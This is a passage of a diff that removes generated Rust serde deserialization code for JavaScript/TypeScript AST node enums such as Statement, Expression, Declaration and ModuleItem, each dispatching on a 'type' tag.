-    EmptyStatement,
-    ExpressionStatement,
-    ForInStatement,
-    ForOfStatement,
-    ForStatement,
-    FunctionDeclaration,
-    IfStatement,
-    LabeledStatement,
-    ReturnStatement,
-    SwitchStatement,
-    ThrowStatement,
-    TryStatement,
-    TSTypeAliasDeclaration,
-    VariableDeclaration,
-    WhileStatement,
-    WithStatement,
-}
-impl<'de> serde::Deserialize<'de> for Statement {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __StatementTag,
-            >::new("type", "Statement"),
-        )?;
-        match tagged.0 {
-            __StatementTag::BlockStatement => {
-                let node: Box<BlockStatement> = <Box<
-                    BlockStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::BlockStatement(node))
-            }
-            __StatementTag::BreakStatement => {
-                let node: Box<BreakStatement> = <Box<
-                    BreakStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::BreakStatement(node))
-            }
-            __StatementTag::ClassDeclaration => {
-                let node: Box<ClassDeclaration> = <Box<
-                    ClassDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::ClassDeclaration(node))
-            }
-            __StatementTag::ContinueStatement => {
-                let node: Box<ContinueStatement> = <Box<
-                    ContinueStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::ContinueStatement(node))
-            }
-            __StatementTag::DebuggerStatement => {
-                let node: Box<DebuggerStatement> = <Box<
-                    DebuggerStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::DebuggerStatement(node))
-            }
-            __StatementTag::DoWhileStatement => {
-                let node: Box<DoWhileStatement> = <Box<
-                    DoWhileStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::DoWhileStatement(node))
-            }
-            __StatementTag::EmptyStatement => {
-                let node: Box<EmptyStatement> = <Box<
-                    EmptyStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::EmptyStatement(node))
-            }
-            __StatementTag::ExpressionStatement => {
-                let node: Box<ExpressionStatement> = <Box<
-                    ExpressionStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::ExpressionStatement(node))
-            }
-            __StatementTag::ForInStatement => {
-                let node: Box<ForInStatement> = <Box<
-                    ForInStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::ForInStatement(node))
-            }
-            __StatementTag::ForOfStatement => {
-                let node: Box<ForOfStatement> = <Box<
-                    ForOfStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::ForOfStatement(node))
-            }
-            __StatementTag::ForStatement => {
-                let node: Box<ForStatement> = <Box<
-                    ForStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::ForStatement(node))
-            }
-            __StatementTag::FunctionDeclaration => {
-                let node: Box<FunctionDeclaration> = <Box<
-                    FunctionDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::FunctionDeclaration(node))
-            }
-            __StatementTag::IfStatement => {
-                let node: Box<IfStatement> = <Box<
-                    IfStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::IfStatement(node))
-            }
-            __StatementTag::LabeledStatement => {
-                let node: Box<LabeledStatement> = <Box<
-                    LabeledStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::LabeledStatement(node))
-            }
-            __StatementTag::ReturnStatement => {
-                let node: Box<ReturnStatement> = <Box<
-                    ReturnStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::ReturnStatement(node))
-            }
-            __StatementTag::SwitchStatement => {
-                let node: Box<SwitchStatement> = <Box<
-                    SwitchStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::SwitchStatement(node))
-            }
-            __StatementTag::ThrowStatement => {
-                let node: Box<ThrowStatement> = <Box<
-                    ThrowStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::ThrowStatement(node))
-            }
-            __StatementTag::TryStatement => {
-                let node: Box<TryStatement> = <Box<
-                    TryStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::TryStatement(node))
-            }
-            __StatementTag::TSTypeAliasDeclaration => {
-                let node: Box<TSTypeAliasDeclaration> = <Box<
-                    TSTypeAliasDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::TSTypeAliasDeclaration(node))
-            }
-            __StatementTag::VariableDeclaration => {
-                let node: Box<VariableDeclaration> = <Box<
-                    VariableDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::VariableDeclaration(node))
-            }
-            __StatementTag::WhileStatement => {
-                let node: Box<WhileStatement> = <Box<
-                    WhileStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::WhileStatement(node))
-            }
-            __StatementTag::WithStatement => {
-                let node: Box<WithStatement> = <Box<
-                    WithStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Statement::WithStatement(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum Expression {
-    ArrayExpression(Box<ArrayExpression>),
-    ArrowFunctionExpression(Box<ArrowFunctionExpression>),
-    AssignmentExpression(Box<AssignmentExpression>),
-    AwaitExpression(Box<AwaitExpression>),
-    BinaryExpression(Box<BinaryExpression>),
-    BooleanLiteral(Box<BooleanLiteral>),
-    CallExpression(Box<CallExpression>),
-    ChainExpression(Box<ChainExpression>),
-    ClassExpression(Box<ClassExpression>),
-    ConditionalExpression(Box<ConditionalExpression>),
-    CoverTypedIdentifier(Box<CoverTypedIdentifier>),
-    FunctionExpression(Box<FunctionExpression>),
-    Identifier(Box<Identifier>),
-    ImportExpression(Box<ImportExpression>),
-    JSXElement(Box<JSXElement>),
-    JSXFragment(Box<JSXFragment>),
-    Literal(Box<Literal>),
-    LogicalExpression(Box<LogicalExpression>),
-    MemberExpression(Box<MemberExpression>),
-    MetaProperty(Box<MetaProperty>),
-    NewExpression(Box<NewExpression>),
-    NullLiteral(Box<NullLiteral>),
-    NumericLiteral(Box<NumericLiteral>),
-    ObjectExpression(Box<ObjectExpression>),
-    OptionalCallExpression(Box<OptionalCallExpression>),
-    OptionalMemberExpression(Box<OptionalMemberExpression>),
-    RegExpLiteral(Box<RegExpLiteral>),
-    SequenceExpression(Box<SequenceExpression>),
-    StringLiteral(Box<StringLiteral>),
-    TaggedTemplateExpression(Box<TaggedTemplateExpression>),
-    TemplateLiteral(Box<TemplateLiteral>),
-    ThisExpression(Box<ThisExpression>),
-    UnaryExpression(Box<UnaryExpression>),
-    UpdateExpression(Box<UpdateExpression>),
-    YieldExpression(Box<YieldExpression>),
-}
-#[derive(Deserialize, Debug)]
-enum __ExpressionTag {
-    ArrayExpression,
-    ArrowFunctionExpression,
-    AssignmentExpression,
-    AwaitExpression,
-    BinaryExpression,
-    BooleanLiteral,
-    CallExpression,
-    ChainExpression,
-    ClassExpression,
-    ConditionalExpression,
-    CoverTypedIdentifier,
-    FunctionExpression,
-    Identifier,
-    ImportExpression,
-    JSXElement,
-    JSXFragment,
-    Literal,
-    LogicalExpression,
-    MemberExpression,
-    MetaProperty,
-    NewExpression,
-    NullLiteral,
-    NumericLiteral,
-    ObjectExpression,
-    OptionalCallExpression,
-    OptionalMemberExpression,
-    RegExpLiteral,
-    SequenceExpression,
-    StringLiteral,
-    TaggedTemplateExpression,
-    TemplateLiteral,
-    ThisExpression,
-    UnaryExpression,
-    UpdateExpression,
-    YieldExpression,
-}
-impl<'de> serde::Deserialize<'de> for Expression {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __ExpressionTag,
-            >::new("type", "Expression"),
-        )?;
-        match tagged.0 {
-            __ExpressionTag::ArrayExpression => {
-                let node: Box<ArrayExpression> = <Box<
-                    ArrayExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::ArrayExpression(node))
-            }
-            __ExpressionTag::ArrowFunctionExpression => {
-                let node: Box<ArrowFunctionExpression> = <Box<
-                    ArrowFunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::ArrowFunctionExpression(node))
-            }
-            __ExpressionTag::AssignmentExpression => {
-                let node: Box<AssignmentExpression> = <Box<
-                    AssignmentExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::AssignmentExpression(node))
-            }
-            __ExpressionTag::AwaitExpression => {
-                let node: Box<AwaitExpression> = <Box<
-                    AwaitExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::AwaitExpression(node))
-            }
-            __ExpressionTag::BinaryExpression => {
-                let node: Box<BinaryExpression> = <Box<
-                    BinaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::BinaryExpression(node))
-            }
-            __ExpressionTag::BooleanLiteral => {
-                let node: Box<BooleanLiteral> = <Box<
-                    BooleanLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::BooleanLiteral(node))
-            }
-            __ExpressionTag::CallExpression => {
-                let node: Box<CallExpression> = <Box<
-                    CallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::CallExpression(node))
-            }
-            __ExpressionTag::ChainExpression => {
-                let node: Box<ChainExpression> = <Box<
-                    ChainExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::ChainExpression(node))
-            }
-            __ExpressionTag::ClassExpression => {
-                let node: Box<ClassExpression> = <Box<
-                    ClassExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::ClassExpression(node))
-            }
-            __ExpressionTag::ConditionalExpression => {
-                let node: Box<ConditionalExpression> = <Box<
-                    ConditionalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::ConditionalExpression(node))
-            }
-            __ExpressionTag::CoverTypedIdentifier => {
-                let node: Box<CoverTypedIdentifier> = <Box<
-                    CoverTypedIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::CoverTypedIdentifier(node))
-            }
-            __ExpressionTag::FunctionExpression => {
-                let node: Box<FunctionExpression> = <Box<
-                    FunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::FunctionExpression(node))
-            }
-            __ExpressionTag::Identifier => {
-                let node: Box<Identifier> = <Box<
-                    Identifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::Identifier(node))
-            }
-            __ExpressionTag::ImportExpression => {
-                let node: Box<ImportExpression> = <Box<
-                    ImportExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::ImportExpression(node))
-            }
-            __ExpressionTag::JSXElement => {
-                let node: Box<JSXElement> = <Box<
-                    JSXElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::JSXElement(node))
-            }
-            __ExpressionTag::JSXFragment => {
-                let node: Box<JSXFragment> = <Box<
-                    JSXFragment,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::JSXFragment(node))
-            }
-            __ExpressionTag::Literal => {
-                let node: Box<Literal> = <Box<
-                    Literal,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::Literal(node))
-            }
-            __ExpressionTag::LogicalExpression => {
-                let node: Box<LogicalExpression> = <Box<
-                    LogicalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::LogicalExpression(node))
-            }
-            __ExpressionTag::MemberExpression => {
-                let node: Box<MemberExpression> = <Box<
-                    MemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::MemberExpression(node))
-            }
-            __ExpressionTag::MetaProperty => {
-                let node: Box<MetaProperty> = <Box<
-                    MetaProperty,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::MetaProperty(node))
-            }
-            __ExpressionTag::NewExpression => {
-                let node: Box<NewExpression> = <Box<
-                    NewExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::NewExpression(node))
-            }
-            __ExpressionTag::NullLiteral => {
-                let node: Box<NullLiteral> = <Box<
-                    NullLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::NullLiteral(node))
-            }
-            __ExpressionTag::NumericLiteral => {
-                let node: Box<NumericLiteral> = <Box<
-                    NumericLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::NumericLiteral(node))
-            }
-            __ExpressionTag::ObjectExpression => {
-                let node: Box<ObjectExpression> = <Box<
-                    ObjectExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::ObjectExpression(node))
-            }
-            __ExpressionTag::OptionalCallExpression => {
-                let node: Box<OptionalCallExpression> = <Box<
-                    OptionalCallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::OptionalCallExpression(node))
-            }
-            __ExpressionTag::OptionalMemberExpression => {
-                let node: Box<OptionalMemberExpression> = <Box<
-                    OptionalMemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::OptionalMemberExpression(node))
-            }
-            __ExpressionTag::RegExpLiteral => {
-                let node: Box<RegExpLiteral> = <Box<
-                    RegExpLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::RegExpLiteral(node))
-            }
-            __ExpressionTag::SequenceExpression => {
-                let node: Box<SequenceExpression> = <Box<
-                    SequenceExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::SequenceExpression(node))
-            }
-            __ExpressionTag::StringLiteral => {
-                let node: Box<StringLiteral> = <Box<
-                    StringLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::StringLiteral(node))
-            }
-            __ExpressionTag::TaggedTemplateExpression => {
-                let node: Box<TaggedTemplateExpression> = <Box<
-                    TaggedTemplateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::TaggedTemplateExpression(node))
-            }
-            __ExpressionTag::TemplateLiteral => {
-                let node: Box<TemplateLiteral> = <Box<
-                    TemplateLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::TemplateLiteral(node))
-            }
-            __ExpressionTag::ThisExpression => {
-                let node: Box<ThisExpression> = <Box<
-                    ThisExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::ThisExpression(node))
-            }
-            __ExpressionTag::UnaryExpression => {
-                let node: Box<UnaryExpression> = <Box<
-                    UnaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::UnaryExpression(node))
-            }
-            __ExpressionTag::UpdateExpression => {
-                let node: Box<UpdateExpression> = <Box<
-                    UpdateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::UpdateExpression(node))
-            }
-            __ExpressionTag::YieldExpression => {
-                let node: Box<YieldExpression> = <Box<
-                    YieldExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Expression::YieldExpression(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum _Literal {
-    BooleanLiteral(Box<BooleanLiteral>),
-    Literal(Box<Literal>),
-    NullLiteral(Box<NullLiteral>),
-    NumericLiteral(Box<NumericLiteral>),
-    StringLiteral(Box<StringLiteral>),
-}
-#[derive(Deserialize, Debug)]
-enum ___LiteralTag {
-    Literal,
-    BooleanLiteral,
-    NullLiteral,
-    StringLiteral,
-    NumericLiteral,
-}
-impl<'de> serde::Deserialize<'de> for _Literal {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                ___LiteralTag,
-            >::new("type", "_Literal"),
-        )?;
-        match tagged.0 {
-            ___LiteralTag::Literal => {
-                let node: Box<Literal> = <Box<
-                    Literal,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(_Literal::Literal(node))
-            }
-            ___LiteralTag::BooleanLiteral => {
-                let node: Box<BooleanLiteral> = <Box<
-                    BooleanLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(_Literal::BooleanLiteral(node))
-            }
-            ___LiteralTag::NullLiteral => {
-                let node: Box<NullLiteral> = <Box<
-                    NullLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(_Literal::NullLiteral(node))
-            }
-            ___LiteralTag::StringLiteral => {
-                let node: Box<StringLiteral> = <Box<
-                    StringLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(_Literal::StringLiteral(node))
-            }
-            ___LiteralTag::NumericLiteral => {
-                let node: Box<NumericLiteral> = <Box<
-                    NumericLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(_Literal::NumericLiteral(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum Declaration {
-    ClassDeclaration(Box<ClassDeclaration>),
-    FunctionDeclaration(Box<FunctionDeclaration>),
-    TSTypeAliasDeclaration(Box<TSTypeAliasDeclaration>),
-    VariableDeclaration(Box<VariableDeclaration>),
-}
-#[derive(Deserialize, Debug)]
-enum __DeclarationTag {
-    ClassDeclaration,
-    FunctionDeclaration,
-    VariableDeclaration,
-    TSTypeAliasDeclaration,
-}
-impl<'de> serde::Deserialize<'de> for Declaration {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __DeclarationTag,
-            >::new("type", "Declaration"),
-        )?;
-        match tagged.0 {
-            __DeclarationTag::ClassDeclaration => {
-                let node: Box<ClassDeclaration> = <Box<
-                    ClassDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Declaration::ClassDeclaration(node))
-            }
-            __DeclarationTag::FunctionDeclaration => {
-                let node: Box<FunctionDeclaration> = <Box<
-                    FunctionDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Declaration::FunctionDeclaration(node))
-            }
-            __DeclarationTag::VariableDeclaration => {
-                let node: Box<VariableDeclaration> = <Box<
-                    VariableDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Declaration::VariableDeclaration(node))
-            }
-            __DeclarationTag::TSTypeAliasDeclaration => {
-                let node: Box<TSTypeAliasDeclaration> = <Box<
-                    TSTypeAliasDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(Declaration::TSTypeAliasDeclaration(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum ImportDeclarationSpecifier {
-    ImportDefaultSpecifier(Box<ImportDefaultSpecifier>),
-    ImportNamespaceSpecifier(Box<ImportNamespaceSpecifier>),
-    ImportSpecifier(Box<ImportSpecifier>),
-}
-#[derive(Deserialize, Debug)]
-enum __ImportDeclarationSpecifierTag {
-    ImportSpecifier,
-    ImportDefaultSpecifier,
-    ImportNamespaceSpecifier,
-}
-impl<'de> serde::Deserialize<'de> for ImportDeclarationSpecifier {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __ImportDeclarationSpecifierTag,
-            >::new("type", "ImportDeclarationSpecifier"),
-        )?;
-        match tagged.0 {
-            __ImportDeclarationSpecifierTag::ImportSpecifier => {
-                let node: Box<ImportSpecifier> = <Box<
-                    ImportSpecifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ImportDeclarationSpecifier::ImportSpecifier(node))
-            }
-            __ImportDeclarationSpecifierTag::ImportDefaultSpecifier => {
-                let node: Box<ImportDefaultSpecifier> = <Box<
-                    ImportDefaultSpecifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ImportDeclarationSpecifier::ImportDefaultSpecifier(node))
-            }
-            __ImportDeclarationSpecifierTag::ImportNamespaceSpecifier => {
-                let node: Box<ImportNamespaceSpecifier> = <Box<
-                    ImportNamespaceSpecifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ImportDeclarationSpecifier::ImportNamespaceSpecifier(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum ModuleItem {
-    ImportOrExportDeclaration(ImportOrExportDeclaration),
-    Statement(Statement),
-}
-#[derive(Deserialize, Debug)]
-enum __ModuleItemTag {
-    ImportDeclaration,
-    ExportNamedDeclaration,
-    ExportDefaultDeclaration,
-    ExportAllDeclaration,
-    BlockStatement,
-    BreakStatement,
-    ClassDeclaration,
-    ContinueStatement,
-    DebuggerStatement,
-    DoWhileStatement,
-    EmptyStatement,
-    ExpressionStatement,
-    ForInStatement,
-    ForOfStatement,
-    ForStatement,
-    FunctionDeclaration,
-    IfStatement,
-    LabeledStatement,
-    ReturnStatement,
-    SwitchStatement,
-    ThrowStatement,
-    TryStatement,
-    TSTypeAliasDeclaration,
-    VariableDeclaration,
-    WhileStatement,
-    WithStatement,
-}
-impl<'de> serde::Deserialize<'de> for ModuleItem {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __ModuleItemTag,
-            >::new("type", "ModuleItem"),
-        )?;
-        match tagged.0 {
-            __ModuleItemTag::ImportDeclaration => {
-                let node: Box<ImportDeclaration> = <Box<
-                    ImportDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ModuleItem::ImportOrExportDeclaration(
-                        ImportOrExportDeclaration::ImportDeclaration(node),
-                    ),
-                )
-            }
-            __ModuleItemTag::ExportNamedDeclaration => {
-                let node: Box<ExportNamedDeclaration> = <Box<
-                    ExportNamedDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ModuleItem::ImportOrExportDeclaration(
-                        ImportOrExportDeclaration::ExportNamedDeclaration(node),
-                    ),
-                )
-            }
-            __ModuleItemTag::ExportDefaultDeclaration => {
-                let node: Box<ExportDefaultDeclaration> = <Box<
-                    ExportDefaultDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ModuleItem::ImportOrExportDeclaration(
-                        ImportOrExportDeclaration::ExportDefaultDeclaration(node),
-                    ),
-                )
-            }
-            __ModuleItemTag::ExportAllDeclaration => {
-                let node: Box<ExportAllDeclaration> = <Box<
-                    ExportAllDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ModuleItem::ImportOrExportDeclaration(
-                        ImportOrExportDeclaration::ExportAllDeclaration(node),
-                    ),
-                )
-            }
-            __ModuleItemTag::BlockStatement => {
-                let node: Box<BlockStatement> = <Box<
-                    BlockStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::BlockStatement(node)))
-            }
-            __ModuleItemTag::BreakStatement => {
-                let node: Box<BreakStatement> = <Box<
-                    BreakStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::BreakStatement(node)))
-            }
-            __ModuleItemTag::ClassDeclaration => {
-                let node: Box<ClassDeclaration> = <Box<
-                    ClassDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::ClassDeclaration(node)))
-            }
-            __ModuleItemTag::ContinueStatement => {
-                let node: Box<ContinueStatement> = <Box<
-                    ContinueStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::ContinueStatement(node)))
-            }
-            __ModuleItemTag::DebuggerStatement => {
-                let node: Box<DebuggerStatement> = <Box<
-                    DebuggerStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
